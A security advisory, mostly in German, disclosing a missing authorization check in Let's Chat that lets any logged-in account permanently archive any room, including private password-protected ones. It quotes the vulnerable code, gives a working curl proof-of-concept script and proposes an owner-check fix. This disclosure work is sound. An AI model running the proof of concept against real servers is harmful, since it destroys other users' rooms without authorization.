
Security Advisory: Insufficient Access Controls Allow for Unauthorized Room Deletion (Let's Chat)
Zugewiesene CVE-ID: CVE-2026-66751
DELETE /rooms/:room führt über die Anforderung einer Anmeldung hinaus keinerlei Autorisierungsprüfung durch. Jedes Konto kann jeden Raum auf dem Server archivieren, einschließlich privater, passwortgeschützter Räume, die dasselbe Konto nicht lesen, betreten oder ändern darf.
Das Archivieren ist die Art und Weise, wie Let's Chat Räume löscht. Der Raum verschwindet aus der Raumliste, direkte Abfragen geben 404 zurück, und das Senden von Nachrichten oder das Hochladen von Dateien in den Raum wird verweigert. Es gibt keinen Codepfad in der Anwendung, der dies rückgängig macht.
Repo-URL: https://github.com/sdelements/lets-chat
Anfällig von 0.3.0 (Commit 5b5f46f, 2. Jan. 2015, „Räume werden archiviert statt gelöscht") bis 0.4.8, dem letzten Release. Es existiert keine korrigierte Version.
Private und passwortgeschützte Räume kamen in 0.4.0 hinzu, sodass der Fall, in dem ein Angreifer einen Raum zerstört, dessen Inhalte er nicht sehen kann, ab 0.4.0 zutrifft. Die fehlende Prüfung selbst stammt aus 0.3.0.
Bestätigt auf 0.4.8 bei Commit 617207f sowie auf docker.io/sdelements/lets-chat:latest (0.4.7).
CWE-862: Fehlende Autorisierung.
CVSS-4.0-Basiswert 5.3 (Mittel)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N
Der Angreifer benötigt ein gewöhnliches Benutzerkonto und Netzwerkzugriff auf den HTTP-Port. Er muss weder Eigentümer des Raums sein, noch ihm angehören, sein Passwort kennen oder eine privilegierte Rolle besitzen. Die Selbstregistrierung ist standardmäßig aktiviert (auth.local.enableRegistration in defaults.yml).
Die Auswahl des Ziels kostet nichts. GET /rooms listet passwortgeschützte Räume designbedingt für jeden Benutzer auf, sodass der Angreifer die vollständige Liste der Raum-IDs lesen und jeden Raum der Reihe nach archivieren kann.
Die Route erfordert eine Anmeldung und ermittelt den Raum – mehr nicht. app/controllers/rooms.js:99-109:
app.route('/rooms/:room')
.all(middlewares.requireLogin, middlewares.roomRoute)
.get(function(req) {
req.io.route('rooms:get');
})
.put(function(req) {
req.io.route('rooms:update');
})
.delete(function(req) {
req.io.route('rooms:archive');
});
Der Handler reicht nachgelagert nur eine Raum-ID weiter. Er sieht req.user nie an. app/controllers/rooms.js:217-232:
archive: function(req, res) {
var roomId = req.param('room') || req.param('id');
core.rooms.archive(roomId, function(err, room) {
if (err) {
console.log(err);
return res.sendStatus(400);
}
if (!room) {
return res.sendStatus(404);
}
res.sendStatus(204);
});
},
Der Manager akzeptiert kein Benutzerargument, sodass er das Eigentum nicht einmal prinzipiell prüfen kann. app/core/rooms.js:123-137:
RoomManager.prototype.archive = function(roomId, cb) {
var Room = mongoose.model('Room');
Room.findById(roomId, function(err, room) {
if (err) {
console.error(err);
return cb(err);
}
if (!room) {
return cb('Room does not exist.');
}
room.archived = true;
Der benachbarte Update-Pfad prüft hingegen das Eigentum, was dies wie ein Versehen und nicht wie eine bewusste Entscheidung aussehen lässt. app/core/rooms.js:89-91:
if(room.private && !room.owner.equals(options.user.id)) {
return cb('Only owner can change private room.');
}
Der Client unterstützt die strengere Auslegung. media/js/views/room.js:28-31 entscheidet, wer das Bearbeitungs-Steuerelement sieht; die Schaltfläche „Raum archivieren" befindet sich im Bearbeitungsdialog, den dieses Steuerelement öffnet:
var iAmOwner = this.model.get('owner') === this.client.user.id;
var iCanEdit = iAmOwner || !this.model.get('hasPassword');
this.model.set('iAmOwner', iAmOwner);
this.model.set('iCanEdit', iCanEdit);
Bei einem passwortgeschützten Raum sieht ein Nicht-Eigentümer die Schaltfläche nie. Die Einschränkung existiert nur im Browser.
Erfordert rooms.private: true (oder LCB_ROOMS_PRIVATE=true), damit private Räume erstellt werden können. Die fehlende Prüfung selbst gilt unabhängig von dieser Einstellung für jeden Raum.
BASE=http://localhost:5000
# Two unrelated accounts.
for U in victim attacker; do
curl -s -X POST $BASE/account/register \
-H 'Content-Type: application/json' \
-d "{\"username\":\"$U\",\"email\":\"[email protected]\",
\"password\":\"Passw0rd!23\",\"password-confirm\":\"Passw0rd!23\",
\"firstName\":\"$U\",\"lastName\":\"T\",\"displayName\":\"$U\"}"
curl -s -c $U.txt -X POST $BASE/account/login \
-H 'Content-Type: application/json' \
-d "{\"username\":\"$U\",\"password\":\"Passw0rd!23\"}"
done
# The victim creates a private, password protected room. Note the returned id.
curl -s -b victim.txt -X POST $BASE/rooms \
-H 'Content-Type: application/json' \
-d '{"name":"Board","slug":"board","private":true,"password":"S3cretRoomPw!"}'
RID=<id from the response above>
# The attacker cannot read it and cannot modify it.
curl -s -b attacker.txt "$BASE/messages?room=$RID"
curl -s -b attacker.txt -X PUT $BASE/rooms/$RID \
-H 'Content-Type: application/json' -d '{"name":"x"}'
# The attacker archives it anyway.
curl -s -o /dev/null -w '%{http_code}\n' -b attacker.txt -X DELETE $BASE/rooms/$RID
# The owner can no longer reach their own room.
curl -s -o /dev/null -w '%{http_code}\n' -b victim.txt $BASE/rooms/$RID
Nach der Anfrage ist der Raum für jeden Benutzer aus GET /rooms verschwunden, GET /rooms/:id gibt 404 zurück, und messages:create sowie files:create lehnen ihn ab (app/core/messages.js:28-30, app/core/files.js:55-57). Nichts in app/ setzt archived wieder auf false, sodass eine Wiederherstellung direkten Datenbankzugriff erfordert.
Übergebe den Aufrufer an den Manager und prüfe das Eigentum vor dem Archivieren – analog zu dem, was update bereits tut. In app/controllers/rooms.js:217:
archive: function(req, res) {
var roomId = req.param('room') || req.param('id');
core.rooms.archive(roomId, { user: req.user }, function(err, room) {
und in app/core/rooms.js:123, nach der if (!room)-Prüfung:
if (!room.owner.equals(options.user.id)) {
return cb('Only the owner can archive this room.');
}